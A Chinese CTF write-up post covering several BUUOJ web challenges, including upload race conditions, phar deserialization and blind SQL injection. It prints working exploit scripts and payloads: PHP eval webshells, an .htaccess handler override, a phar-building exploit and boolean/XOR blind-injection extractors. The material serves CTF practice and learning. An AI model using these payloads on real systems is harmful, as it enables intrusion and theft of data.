我太菜了啊,赶紧刷题,比赛打不动了

[RoarCTF 2019]Easy Java

知识点:

  • tomcat基本知识
  • Javaweb基础知识

进了点了一下help,发现有filename参数,题目说了是个Java题,所以直接读取WEB-INF/web.xml,一无所获,抓个包,一顿操作之后发现只有改成POST方法就可以了(不知道是什么原理,之后再看)

再加上之前乱测得时候爆出来得信息

所以我们可以顺理成章的去读flagcontroller

然后解码得到flag

顺带一提tomcat的服务端文件结构

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

[RoarCTF 2019]Simple Upload

知识点:

  • ThinkPHP方法特性
  • 文件名爆破
  • 条件竞争
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

ThinkPHP的后端,而ThinkPHP的默认文件保存地址为:/home/index/upload

再来审计源码,这里从手册我们得知ThinkPHP的upload()在无参数的时候是批量上传的,整个$_FILES数组的文件都会上传保存,也就是说这里存在条件竞争漏洞,我们连续上传正常文件和shell文件,就可以成功上传。

多上传几次就发现,文件名相差不大且是递增的关系,所以爆破就可以得到shell文件的文件名

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
import json

url = "http://f24e2b54-a89a-4f3b-bb50-2d09be5acfec.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print(param)
t1 = int(t1, 16)

j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:#规避过于频繁访问导致的429
time.sleep(0.1)
continue
elif r.status_code != 404:
print(path)
print(r.text)
break
print(j, path, r.status_code)
j -= 1

[0CTF 2016]piapiapia

知识点:

  • PHP反序列化
  • 字符逃逸
  • 数组绕过

www.zip下到源码才发现是个经典题,之前就看过WP,直接打了

[GXYCTF2019]BabyUpload

知识点:

  • bypass
  • 文件上传

非常简单的一道题,上传.hatcess,然后JavaScript绕过PHP过滤

1
SetHandler application/x-httpd-php
1
<script language='php'>eval($_POST[cmd]);</script>

[GXYCTF2019]BabysqliV3.0

  • 弱密码
  • PHP伪协议
  • PHAR反序列化

这道题居然是个弱密码,我服了,然后进去有个伪协议的文件包含,搞下来upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

预期解:

phar反序列化,基操不多提

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Uploader{
public $Filename;
public $cmd;
public $token;

}
$a = new Uploader();
$a->cmd = 'highlight_file("/var/www/html/flag.php");';
$a->Filename = 'xzl';
$a->token = 'GXYeddbfa94f75d985cb8537c9bb31ac22c';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("xzl.txt", "xzl"); //添加要压缩的文件
$phar->stopBuffering();
?>

非预期解:

woc,正则里面直接来了个空格

这就等于啥都没过滤

1
upload.php?name=/var/www/html/uploads/shell.php

所以就直接另name为/var/www/html/uploads/shell.php,然后上传个有shell的txt,就直接可以getshell了。

[GXYCTF2019]StrongestMind

这道题打开让算数学题,对着输入框一顿操作没什么结果,被迫写了个脚本算了一千道计算,然后打开官方解一看:woc????真就脚本题??这样的?

下面是官方EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from requests import *
import re


s = session()
a = s.get("http://172.21.4.12:10044/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
for i in range(1000):
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
print(c)
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
print(a.text)

[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点:

  • 异或注入

这道题就是单纯的异或注入,过滤了union等关键字,用1^01^0可以测出异或注入,然后就直接写脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import re

url = 'http://727fb90e-dd6f-4270-8236-7baa965e3bca.node3.buuoj.cn/index.php'
result = ""

payload = {
"id" : ""
}
for i in range(1,100):
low = 32
high = 127
mid = (low+high)>>1
while(low<high):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
req = requests.post(url,data=payload)
print(payload)
if "Hello" in req.text:
low = mid+1
else:
high = mid
mid = (low+high)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)

[CISCN2019 总决赛 Day2 Web1]Easyweb

知识点:

  • 布尔盲注
  • 短标签绕过

/robots.txt可以爆出*.php.bak可以得到image.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

显然可以注入,很简单,直接跑布尔盲注,测试payload:

?id=\0’&path= or 0%23

?id=\0’&path= or 1%23

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'http://ee7cc8eb-94c4-4b42-917c-bcbb82882178.node3.buuoj.cn/image.php'
result = ''

for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = " or id=if(ascii(substr((select password from users),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\\\0',
'path':payload
}
response = requests.get(url, params=params)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

result += chr(int(mid))
print(result)

跑出密码,登录,有文件上传,可以看到上传后文件格式为PHP

短标签绕过上传shell